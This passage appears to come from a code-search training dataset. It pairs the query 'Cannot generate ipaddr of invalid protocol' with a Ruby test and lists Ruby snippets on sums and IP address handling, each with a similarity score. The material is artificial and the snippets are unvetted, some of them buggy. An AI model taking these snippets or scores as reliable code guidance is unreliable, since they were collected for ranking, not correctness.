order_item.item.price.present? && order_item.quantity.present?\n sum += order_item.item.price * order_item.quantity\n end\n end\n return sum\n end", "def total\n\t\tprices = line_items.map {|li| li.price}\n\t\tprices.reduce(0) {|it0, it1| it0+it1}\n\tend", "def item_total\n tot = 0\n self.line_items.each do |li|\n tot += li.total\n end\n self.item_total = tot\n end", "def total_items\n order_items.inject(0) { |t,i| t + i.quantity }\n end", "def total_items\n order_items.inject(0) { |t, i| t + i.quantity }\n end", "def total_items\n order_items.inject(0) { |t, i| t + i.quantity }\n end", "def total_price\n sum = 0\n line_items.to_a.sum do |check|\n check.total_price.to_i\n end\n\t\nend", "def total(x)\n sum = 0\n\tx.each do |i|\n\t\tsum += i\n\tend\n\treturn sum\nend", "def total(list)\n sum = 0\n for i in list\n sum += i\n end\n sum\nend", "def total\n \torder_items.collect { |order_item| order_item.subtotal }.sum\n end", "def calculate_total\n order_items.sum(:total)\n end", "def total\n @total = items.inject(0.0) { |sum, order_line_item| sum + order_line_item.subtotal }\n end", "def total_item\n @items.reject {|item| item.quantity == 0}\n invoice_total = @items.sum {|item| item.sale_price * item.quantity}\n\n end", "def items_value_calc(items)\n value = 0\n\n items.each do |item|\n value += item[:value]\n end\n\n value\n end", "def total arr\nsum_total = 0\narr.each do |el|\nsum_total += el\nend\nsum_total\nend", "def get_total_qty\n return self.items.sum(:qty)\n end", "def amount_sum_for(meth)\n entries.select(&meth).map{ |entry| entry.amount.to_i }.compact.inject(&:+) || 0\n end", "def running_total\n sum = 0.00\n @items.each { |item| sum += item[\"price\"] }\n return sum\n end", "def sum\n transactions.sum(:amount)\n end", "def sum\n transactions.sum(:amount)\n end", "def total_items\n @cart_items.sum{|k,v| v}\n end", "def sum(list)\n sum = 0\n list.map do |item| \n sum += item\n end\n sum\nend", "def sum_all_the_articles(products)\n sum = 0\n products.each do |product|\n sum = sum + product[:quantity]\n end\n sum\nend", "def total\n total = order_items.inject(0) { |sum, p| sum + p.subtotal }\n end", "def total(array)\n\tarray.inject(:+)\nend", "def cost \n\n \[email protected](0) do |sum,hm|\n \t\tsum+=hm \n end\n puts total\n end", "def total\n @items_total = []\n self.line_items.each do |item|\n @item = Item.find_by_id(item.item_id)\n @items_total << @item.price.to_f\n end\n cart_total = @items_total.inject(0){|sum, x| sum + x }\n @cart_total = cart_total.round(2)\n @cart_total\n end", "def sum\n inject(0) { |acc, i| acc + i }\n end", "def total_pay\n total = 0\n @serie_items.each do |item|\n # next if item.quantity.nil?\n total += item.quantity * item.creation.price\n end\n return total\n end", "def sum_using_each(array)\n end", "def total ( numbers )\r\n\r\n\treturn numbers.reduce(:+);\r\n\r\nend", "def total(numbers)\n\tnumbers.inject(:+)\nend", "def total\n # TODO: implement total\n if products.length == 0\n return 0\n end\n ((@products.values.sum)*1.075).round(2)\n end", "def total\n cart_value = 0\n self.line_items.each do |line_item|\n cart_value += line_item.value\n end\n cart_value\n end", "def sum\n flatten.compact.inject(:+)\n end", "def total_sum\n rows.collect(&:sum_with_vat).sum\n end", "def total_price\n # convert to array so it doesn't try to do sum on database directly\n @total = 0\n line_items.each do |item|\n @total = item.price\n end\n line_items.to_a.sum {|item| (item.quantity * item.price) }\n end", "def total\n @sum = @products.values.inject(0, :+)\n @total = @sum + (@sum * 0.075).round(2)\n return @total\n end", "def quantity\n map(&:quantity).sum\n end", "def total\n sum(:total)\n end", "def item_total\n @promotion_attributed_line_items.map(&:amount).sum\n end", "def sum_all()\n values = [700, 44, 10, 1, -4, 0, 44, 1001, 88]\n sum = 0\n values.each do |i|\n sum += i\n end\n p sum\nend", "def total\n Float(@values.values.reduce(:+))\n end", "def total(list)\n \n sum = 0\n \n for i in list\n sum = sum + i\n end\n p sum\n \nend", "def total(array)\n array.inject(:+)\nend", "def total\n if @products == {}\n return 0 \n else\n m = 0\n @products.values.each do |v|\n m += v\n end\n\n sum = (m + (m * 0.075)).round(2)\n return sum\n end\n end", "def sum arr\n total = 0\n arr.each do |i|\n total += i\n end\n total\nend", "def total(arr)\n arr.inject(:+)\nend", "def total(arr)\n return arr.inject(:+)\nend", "def total\n total = 0\n @products.values.each do |price|\n total += price\n end\n total += (0.075 * total).round(2)\n end", "def sum\n [@r,@g,@b].inject(:+)\n end", "def sum(i) \n i.inject(:+)\nend", "def total_price\n line_items.map { |line_item| line_item.item.price * line_item.quantity }.sum\n end", "def total\n add_products = 0\n @products.each_value do |cost|\n add_products += cost\n end\n total = (add_products + (add_products * 0.075)).round(2)\n return total\n end", "def sum (tableau)\n chiffre = 0\n tableau.each do |element|\n chiffre = chiffre + element\n end\n return chiffre\nend", "def sum arr\n if !arr.empty?\n soma = 0\n arr.each do |elt| ; soma += elt ; end\n return soma\n end\n return 0 \nend", "def total(numbers)\n numbers.reduce(:+)\nend", "def element_sum\n\t\tif !self.numeric?\n\t\t\treturn false\n\t\tend\n\t\treturn self.inject(0) {|memo,n| memo + n}\t\n\tend", "def total(numbers)\n return numbers.reduce(:+)\nend", "def value\n @collection.sum\n end", "def sum(num, total) => total += num", "def total_quantity\n line_items.sum(:quantity)\n end", "def total\n return 0 if @products.empty?\n total = (@products.sum { |name, price| price } * 1.075).round(2)\n return total\n end", "def sum(element)\n element.reduce(:+)\nend", "def sum_all_the_prices(products)\n sum = 0\n products.each do |product|\n sum = sum + ( product[:price] * product[:quantity])\n end\n sum\nend", "def total(array)\n sum = array.inject(:+)\n sum\nend", "def total(array)\n\tsum = array.inject(0, :+)\nend", "def total(list)\n\tans = 0\n\tlist.each do |num|\n\t\tans = num + ans\n\tend\nend", "def total(array)\n sum = 0\n array.each { |i| sum += i}\n return sum\nend", "def total(array)\n array.sum\nend", "def calculate_invoice_total\n res = [ ]\n self.line_items.each do |item|\n res.push(item.qty * item.price)\n end\n # Return the sum of the items\n self.total = res.inject(:+) \n end", "def total_price(cart)\n cart.sum {|item| item.price} \n end", "def total(bill)\n sum=0.0\n bill.items.each do |i|\n sum += i.price\n end\n return sum\n end", "def total_cost\n line_items.to_a.sum {|item| item.total_cost}\n end" ]
[ "0.8272155", "0.78822124", "0.7841352", "0.76990056", "0.76462847", "0.76423335", "0.75907326", "0.7580964", "0.7558438", "0.7535831", "0.7533346", "0.7490579", "0.7478962", "0.7448934", "0.7447676", "0.7447676", "0.7415413", "0.7402631", "0.7394534", "0.73843724", "0.7365076", "0.7364839", "0.7362608", "0.7361344", "0.73559946", "0.7326664", "0.73194355", "0.7313336", "0.7308823", "0.7302089", "0.7287366", "0.7287366", "0.7282379", "0.72686017", "0.7262527", "0.72517455", "0.7242257", "0.7233557", "0.72283155", "0.7209491", "0.7199714", "0.71904993", "0.71732235", "0.7172756", "0.717195", "0.717195", "0.7169301", "0.71639204", "0.71628475", "0.7157054", "0.71541435", "0.71507514", "0.71441203", "0.7128968", "0.71179116", "0.70992875", "0.7098695", "0.70961314", "0.7096081", "0.7092281", "0.70921934", "0.70842004", "0.70756686", "0.70652574", "0.7063815", "0.7050331", "0.7048831", "0.7034304", "0.7026422", "0.7019388", "0.70190656", "0.7016731", "0.70120484", "0.7009575", "0.70015436", "0.70005554", "0.6999385", "0.6999072", "0.6989515", "0.6986745", "0.6966554", "0.69661385", "0.6952184", "0.6949552", "0.69480854", "0.6945998", "0.6935049", "0.69343746", "0.69339466", "0.6917539", "0.6916565", "0.6914121", "0.69128525", "0.6909305", "0.6907037", "0.6906143", "0.6899523", "0.689622", "0.68935955", "0.68919" ]
0.7124693
54
Cannot generate ipaddr of invalid protocol
def test_gen_ipaddr_invalid_protocol assert_raises ArgumentError do RFauxFactory.gen_ipaddr(protocol: :ip5) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_gen_ipaddr_ip3_ending\n assert_equal RFauxFactory.gen_ipaddr(protocol: :ip3).split('.')[-1], '0'\n end", "def ipaddr?; end", "def ipaddr; end", "def ip_v4_address; end", "def test_gen_ipaddr_long_prefix\n assert_raises ArgumentError do\n RFauxFactory.gen_ipaddr(protocol: :ip4, prefix: [10, 11, 12, 13])\n end\n end", "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def private_ip_v4_address; end", "def test_gen_ipaddr_without_prefix\n PROTOCOL_TYPES.keys.each do |protocol|\n assert_equal RFauxFactory.gen_ipaddr(protocol: protocol).split(PROTOCOL_SEPARATOR[protocol]).length,\n PROTOCOL_TYPES[protocol]\n end\n end", "def ip\n ip = nil\n\n unless valid?\n return nil\n end\n\n begin\n case name\n when /\\.in-addr\\.arpa$/\n name_without_suffix = name.sub(/\\.in-addr\\.arpa$/, '')\n quads = name_without_suffix.split('.')\n if quads.size == 4\n quads.reverse!\n ip = quads.join('.')\n end\n when /\\.ip6\\.arpa$/\n name_without_suffix = name.sub(/\\.ip6\\.arpa$/, '')\n nibbles = name_without_suffix.split('.')\n nibbles.each do |nibble|\n if nibble.empty?\n raise DnsRecord::EmptyNibbleError\n end\n end\n if nibbles.size == 32\n n = nibbles.reverse!\n ip = \\\n n[0..3].join('') + \":\" +\n n[4..7].join('') + \":\" +\n n[8..11].join('') + \":\" +\n n[12..15].join('') + \":\" +\n n[16..19].join('') + \":\" +\n n[20..23].join('') + \":\" +\n n[24..27].join('') + \":\" +\n n[28..31].join('')\n \n ip = NetAddr::CIDR.create(ip).ip(:Short => true)\n end\n end\n rescue DnsRecord::EmptyNibbleError\n ip = nil\n end\n\n ip\n end", "def _to_string(addr)\n \"%d.%d.%d.%d\" % [ (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, (0xff&addr) ] \n end", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def public_ip_v4_address; end", "def str_ip(num)\n return nil unless num\n \"#{num >> 24}.#{(num >> 16) & 0xFF}.#{(num >> 8) & 0xFF}.#{num & 0xFF}\"\n end", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def getIpFromNum(ii)\n \"172.31.0.#{100+ii}\"\nend", "def next_ip\n\t\treturn false if not valid?\n\t\tif (@curr_addr > @ranges[@curr_range][1])\n\t\t\tif (@curr_range >= @ranges.length - 1)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\t@curr_range += 1\n\t\t\t@curr_addr = @ranges[@curr_range][0]\n\t\tend\n\t\taddr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range][2])\n\t\t@curr_addr += 1\n\t\treturn addr\n\tend", "def validate_ip_address(item)\n error(msg: 'Invalid IP address string', item: __method__.to_s) if (begin\n IPAddr.new(item)\n rescue StandardError\n nil\n end).nil?\n end", "def ip_from_num(i)\n \"192.168.90.#{i+IP_OFFSET}\"\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def address(format = :full)\n fail\n end", "def nodeIP(num)\n return \"10.17.4.#{num+200}\"\nend", "def address_for(network); end", "def test_gen_ipaddr_with_prefix\n PROTOCOL_TYPES.keys.each do |protocol|\n ipaddr = RFauxFactory.gen_ipaddr(protocol: protocol, prefix: [10, 11])\n assert ipaddr.split(PROTOCOL_SEPARATOR[protocol]).length, PROTOCOL_TYPES[protocol]\n assert_includes ipaddr.split(PROTOCOL_SEPARATOR[protocol]), '10'\n end\n end", "def check_address(_)\n raise NotImplementedError\n end", "def int32_to_ip(num)\n return '0.0.0.0' if num == 0\n n = num.to_s(2) # binary version of 32-bit num\n ip = ''\n [0, 8, 16, 24].each do |x|\n ip += \"#{n[x..x + 7].to_i(2)}.\" # decimal version of 8 bit chunk\n end\n ip[0..-2]\nend", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def get_internal_ip_address\r\n sock = UDPSocket.new\r\n sock.connect('1.0.0.1', 1) #@igd_location.split('//').last.split('/').first.split(':').first\r\n return sock.addr.last\r\n rescue Exception\r\n return \"127.0.0.1\"\r\n end", "def ip_valid?\n return if ip.blank?\n\n IPAddr.new(ip.strip, Socket::AF_INET)\n rescue IPAddr::InvalidAddressError, IPAddr::AddressFamilyError\n errors.add(:ip, :invalid)\n end", "def anonymize\n ipv4 = (m = value.match(/\\d+\\.\\d+\\.\\d+\\.\\d+$/)) ? m[0] : \"\"\n ipv6 = value.gsub(ipv4, \"\")\n ipv6 += \":\" if ipv4.present? && ipv6.present?\n ipv4 = ipv4.gsub(/\\.\\d+$/, \".0\")\n ipv6 = ipv6.gsub(/:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*:(\\d|[a-f])*$/, \"::\")\n IPAddress.new([ipv6, ipv4].keep_if { |ip| ip.present? }.join)\n end", "def transform\n unless is_valid_ipv4_address?\n raise Valshamr::InvalidIPv4Error, \"Expected IPv4 address in the form of x[xx].x[xx].x[xx].x[xx], but received: #{@ip_address}.\"\n end\n\n octets = @ip_address.split \".\"\n octets.map! { |octet| convert_decimal_octet_to_hexadecimal octet.to_i }\n\n new_ip = construct_hexadecimal_portions octets\n\n \"::#{new_ip}\"\n end", "def save_ip_addr\n self.ip_address = IPAddr.new(self.ip_address).to_i.to_s(16).rjust(8, \"0\")\n end", "def ip\n ''\n end", "def ip; end", "def ip; end", "def device_ipaddress=(_arg0); end", "def device_ipaddress=(_arg0); end", "def external_ip\n begin\n ip = OpenURI.open_uri(\"http://myip.dk\") {|f|f.read.scan(/([0-9]{1,3}\\.){3}[0-9]{1,3}/); $~.to_s}\n rescue\n ip = local_ip\n puts \"Seems like there is a problem adquiring external IP address, ...using local address: (#{ip})\"\n end\n ip\n end", "def find_good_ip_addr list\n list.each do |addr|\n triplets = addr.split('.')\n if not triplets[0].to_i == 255 and not triplets[2].to_i == 255\n return addr\n end\n end\n nil\nend", "def get_ipaddr(dns_query, parsed_dns, length)\n address = \"\"\n case length\n when IPV4_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"CCCC\").join('.')\n when IPV6_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"nnnnnnnn\").map{|v| sprintf(\"%x\", v)}.join(':')\n end\n parsed_dns[:index] += length\n return address\n end", "def ipaddress\n resolve.nil? || resolve.empty? ? nil : resolve\n end", "def addr_valid?(res)\n res << \"Provided IP addr isn't valid!\" unless ip_validation_lib.valid? addr\n end", "def rcptto(to_addr); end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def random_unused_loopback_ip\n [127, *(0...3).map { (rand(127) + 128)}].map(&:to_s).join('.')\n end", "def ip_address=(val)\n if val.nil?\n self.errors.add(:ip_address, :invalid)\n return\n end\n\n if val.is_a?(IPAddr)\n write_attribute(:ip_address, val)\n return\n end\n\n v = IPAddr.handle_wildcards(val)\n\n if v.nil?\n self.errors.add(:ip_address, :invalid)\n return\n end\n\n write_attribute(:ip_address, v)\n\n # this gets even messier, Ruby 1.9.2 raised a different exception to Ruby 2.0.0\n # handle both exceptions\n rescue ArgumentError, IPAddr::InvalidAddressError\n self.errors.add(:ip_address, :invalid)\n end", "def validate_ip ip\n raise Error, \"Invalid IP Address #{ip}\" unless ip =~ /(\\d{1,3}\\.){3}\\d{1,3}/\n ip\n end", "def addr_iton(addr, v6=false)\n if(addr < 0x100000000 && !v6)\n return [addr].pack('N')\n else\n w = []\n w[0] = (addr >> 96) & 0xffffffff\n w[1] = (addr >> 64) & 0xffffffff\n w[2] = (addr >> 32) & 0xffffffff\n w[3] = addr & 0xffffffff\n return w.pack('N4')\n end\n end", "def device_ipaddress; end", "def device_ipaddress; end", "def initialize(in_ip, in_v=4)\n \n if in_ip.is_a?(String)\n @version = Ip.version(in_ip)\n @ip_string = in_ip\n elsif in_ip.is_a?(Integer)\n if in_ip > Ip::IPMAX_V4\n @version = 6\n else\n @version = in_v\n end\n @ip_string = Iptools.i_to_dots(in_ip, @version)\n else\n raise RuntimeError, \"Invalid IP addresse #{in_ip} (should be a string or an interger)\"\n end\n \n @dots = Ip.valid?(@ip_string, @version)\n \n raise RuntimeError, \"Invalid IP addresse #{in_ip}\" if (@dots.nil?)\n @ip_int = to_i\n end", "def peeraddr(*) end", "def peeraddr(*) end", "def ip?\n return (proto == 'ip')\n end", "def GetIpFromId(id)\n \"192.168.0.#{id+1}\"\n end", "def addr(*) end", "def addr(*) end", "def get_ip(remote_address)\n return \"\" unless remote_address\n\n #Capture the first three octects of the IP address and replace the forth\n #with 0, e.g. 124.455.3.123 becomes 124.455.3.0\n regex = /^([^.]+\\.[^.]+\\.[^.]+\\.).*/\n if matches = remote_address.scan(regex)\n return matches[0][0] + \"0\"\n else\n return \"\"\n end\nend", "def peerip=(_arg0); end", "def ip_address\n nil\n end", "def addr_ntoa(addr)\n # IPv4\n if (addr.length == 4)\n return addr.unpack('C4').join('.')\n end\n\n # IPv6\n if (addr.length == 16)\n return compress_address(addr.unpack('n8').map{ |c| \"%x\" % c }.join(\":\"))\n end\n\n raise RuntimeError, \"Invalid address format\"\n end", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def from_string(value)\n const_get(value)\n rescue NameError\n IpProtocol.send(:new, 'UNKNOWN', value)\n end", "def default_ipn_endpoint; end", "def normalize_ip(ip)\n case ip\n when nil then nil\n when String then IPAddr.new(ip)\n when Integer then IPAddr.new(ip, Socket::AF_INET)\n when IPAddr then ip\n else raise ArgumentError, \"IP must be a String, IPAddr, or Integer, not: #{ip.inspect}\"\n end\n end", "def initialize(ip_address, socket_type)\n @ip_address = IPAddr.new(ip_address, socket_type)\n end", "def check_ip; end", "def validate_ip(value)\n case value\n when Resolv::IPv4::Regex\n return true\n when Resolv::IPv6::Regex\n return true\n else\n return false\n end\n end", "def enable_nat(ip_addr)\n raise 'not implemented'\n end", "def binary_to_ipv4(ipv4addr)\n ia = ipv4addr.to_s.split('.')\n if ia.size != 4\n return \"0.0.0.0\"\n end\n output = \"\"\n i = 1\n for octett in ia\n output = output + octett.to_s.to_i(2).to_s\n if i < 4\n output = output + \".\"\n end\n i += 1\n end\n output\n end", "def create_address!\n method_not_implemented\n end", "def arpa()\n\n base = self.ip()\n netmask = self.bits()\n\n if (@version == 4)\n net = base.split('.')\n\n if (netmask)\n while (netmask < 32)\n net.pop\n netmask = netmask + 8\n end\n end\n\n arpa = net.reverse.join('.')\n arpa << \".in-addr.arpa.\"\n\n elsif (@version == 6)\n fields = base.split(':')\n net = []\n fields.each do |field|\n (field.split(\"\")).each do |x|\n net.push(x)\n end\n end\n\n if (netmask)\n while (netmask < 128)\n net.pop\n netmask = netmask + 4\n end\n end\n\n arpa = net.reverse.join('.')\n arpa << \".ip6.arpa.\"\n\n end\n\n return(arpa)\n end", "def validate_ip(value)\n case value\n when Resolv::IPv4::Regex\n return true\n when Resolv::IPv6::Regex\n return true\n else\n return false\n end\n end", "def ip\n @ip ||= select { |type,value| type == :ip }.map do |(type,value)|\n IPAddr.new(value)\n end\n end", "def ipv4_addr_to_string(uint32)\n \"#{(uint32 & 0xff000000) >> 24}.#{(uint32 & 0x00ff0000) >> 16}.#{(uint32 & 0x0000ff00) >> 8}.#{uint32 & 0x000000ff}\"\n end", "def full_address; end", "def encode_ip(url, mode)\n return if url.nil?\n new_host = nil\n host = URI.parse(url.to_s.split('?').first).host.to_s\n begin\n ip = IPAddress::IPv4.new(host)\n rescue\n logger.warn(\"Could not parse requested host as IPv4 address: #{host}\")\n return url\n end\n case mode\n when 'int'\n new_host = url.to_s.gsub(host, ip.to_u32.to_s)\n when 'ipv6'\n new_host = url.to_s.gsub(host, \"[#{ip.to_ipv6}]\")\n when 'oct'\n new_host = url.to_s.gsub(host, \"0#{ip.to_u32.to_s(8)}\")\n when 'hex'\n new_host = url.to_s.gsub(host, \"0x#{ip.to_u32.to_s(16)}\")\n when 'dotted_hex'\n res = ip.octets.map { |i| \"0x#{i.to_s(16).rjust(2, '0')}\" }.join('.')\n new_host = url.to_s.gsub(host, res.to_s) unless res.nil?\n else\n logger.warn(\"Invalid IP encoding: #{mode}\")\n end\n new_host\n end", "def abs_adr(ip)\n Verneuil::Address.new(ip, self)\n end", "def protocol\n self[:ip_p]\n end", "def read_host_ip\n ip = read_machine_ip\n base_ip = ip.split(\".\")\n base_ip[3] = \"1\"\n base_ip.join(\".\")\n end", "def str2ipaddr(str, delim = '.')\n ipaddr = 0\n str.split(delim).each {|o| ipaddr *= 256; ipaddr += o.to_i}\n\n return ipaddr\nend", "def ipn_endpoint; end", "def ipn_endpoint; end", "def is_addr(s)\n s.match(/^[0-9a-fA-F]+:$/) != nil\nend", "def check_ip_address\n if ip_address\n result = IPAddress.valid? ip_address\n errors.add( 'Incorrect IP formatting' ) unless result\n end\n end", "def in_addr(addr)\n if addr =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n (($1.to_i << 24) + ($2.to_i << 16) + ($3.to_i << 8) + ($4.to_i))\n else\n nil\n end\n end", "def disable_nat(ip_addr)\n raise 'not implemented'\n end", "def okIP(addr)\nreturn addr != \"0.0.0.0\" &&\n addr != \"255.255.255.255\" &&\n !addr.match(/^169\\.254.*/) &&\n !addr.match(/^10.*/) &&\n !addr.match(/^172\\.[1-3].*/) && # TODO: match the block better\n !addr.match(/^192\\.168.*/)\nend", "def ip_string\n\t\t\"#{settings.subnet}.#{settings.nodes_ip_offset + @ip}\"\n\tend", "def peer_ip; end", "def ipn_endpoint=(_arg0); end", "def ip\n if ifconfig =~ /inet addr:([0-9.]+)/\n $1\n else\n \"0.0.0.0\"\n end\n end", "def only_ip()\n\n ip = ARGV[0]\n\n ipv4 = /^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/\n ipv6 = /^\\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))(%.+)?\\s*$/ \n\n if ip =~ ipv4 || ip =~ ipv6\n $onlyip = ip\n ARGV.shift\n else\n usage()\n end\n\nend" ]
[ "0.71305054", "0.67672646", "0.6663809", "0.66280234", "0.6519361", "0.64219624", "0.6388894", "0.6374742", "0.6313316", "0.6301678", "0.6297902", "0.62905574", "0.62343395", "0.6224222", "0.6186645", "0.6186645", "0.6186645", "0.6186645", "0.6186645", "0.6186645", "0.61585367", "0.6085569", "0.6022707", "0.60008657", "0.59996766", "0.59996766", "0.59923375", "0.59900874", "0.5966962", "0.5947048", "0.59429735", "0.5939897", "0.59239185", "0.5914046", "0.5889834", "0.58624285", "0.58603376", "0.5849116", "0.58486813", "0.5830444", "0.5830444", "0.58108157", "0.58108157", "0.5779479", "0.57737166", "0.5740501", "0.57404715", "0.5718882", "0.57121146", "0.570352", "0.570352", "0.5699195", "0.56959945", "0.5687998", "0.56875384", "0.56819427", "0.56819427", "0.5651383", "0.5650083", "0.5650083", "0.56313354", "0.5627525", "0.5624282", "0.5624282", "0.5624074", "0.56189346", "0.5599904", "0.5597256", "0.55906206", "0.5589117", "0.5584703", "0.5570647", "0.55674165", "0.5554278", "0.5551357", "0.5542876", "0.5533833", "0.55303013", "0.5504355", "0.54990816", "0.54856944", "0.5479298", "0.5472673", "0.5472105", "0.54594016", "0.54526335", "0.54521376", "0.545081", "0.544281", "0.544281", "0.543411", "0.5433209", "0.5429529", "0.54264206", "0.54229385", "0.5421442", "0.54133904", "0.5407481", "0.5405851", "0.5402656" ]
0.7375594
0
Cannot generate ipaddr with long prefix
def test_gen_ipaddr_long_prefix assert_raises ArgumentError do RFauxFactory.gen_ipaddr(protocol: :ip4, prefix: [10, 11, 12, 13]) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def test_gen_ipaddr_ip3_ending\n assert_equal RFauxFactory.gen_ipaddr(protocol: :ip3).split('.')[-1], '0'\n end", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def test_gen_ipaddr_with_prefix\n PROTOCOL_TYPES.keys.each do |protocol|\n ipaddr = RFauxFactory.gen_ipaddr(protocol: protocol, prefix: [10, 11])\n assert ipaddr.split(PROTOCOL_SEPARATOR[protocol]).length, PROTOCOL_TYPES[protocol]\n assert_includes ipaddr.split(PROTOCOL_SEPARATOR[protocol]), '10'\n end\n end", "def ip_from_num(i)\n \"192.168.90.#{i+IP_OFFSET}\"\nend", "def getIpFromNum(ii)\n \"172.31.0.#{100+ii}\"\nend", "def ipaddr; end", "def defang_i_paddr(address)\n return address.split('.').join('[.]')\nend", "def defang_i_paddr(address)\n address.gsub('.', '[.]')\nend", "def get_ipaddr(dns_query, parsed_dns, length)\n address = \"\"\n case length\n when IPV4_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"CCCC\").join('.')\n when IPV6_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"nnnnnnnn\").map{|v| sprintf(\"%x\", v)}.join(':')\n end\n parsed_dns[:index] += length\n return address\n end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def GetIpFromId(id)\n \"192.168.0.#{id+1}\"\n end", "def test_gen_ipaddr_without_prefix\n PROTOCOL_TYPES.keys.each do |protocol|\n assert_equal RFauxFactory.gen_ipaddr(protocol: protocol).split(PROTOCOL_SEPARATOR[protocol]).length,\n PROTOCOL_TYPES[protocol]\n end\n end", "def _to_string(addr)\n \"%d.%d.%d.%d\" % [ (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, (0xff&addr) ] \n end", "def nodeIP(num)\n return \"10.17.4.#{num+200}\"\nend", "def ip_v4_address; end", "def private_ip_v4_address; end", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def save_ip_addr\n self.ip_address = IPAddr.new(self.ip_address).to_i.to_s(16).rjust(8, \"0\")\n end", "def public_ip_v4_address; end", "def generate\n blake160_bin = [blake160[2..-1]].pack(\"H*\")\n type = [\"01\"].pack(\"H*\")\n bin_idx = [\"P2PH\".each_char.map { |c| c.ord.to_s(16) }.join].pack(\"H*\")\n payload = type + bin_idx + blake160_bin\n ConvertAddress.encode(@prefix, payload)\n end", "def ipaddr?; end", "def str_ip(num)\n return nil unless num\n \"#{num >> 24}.#{(num 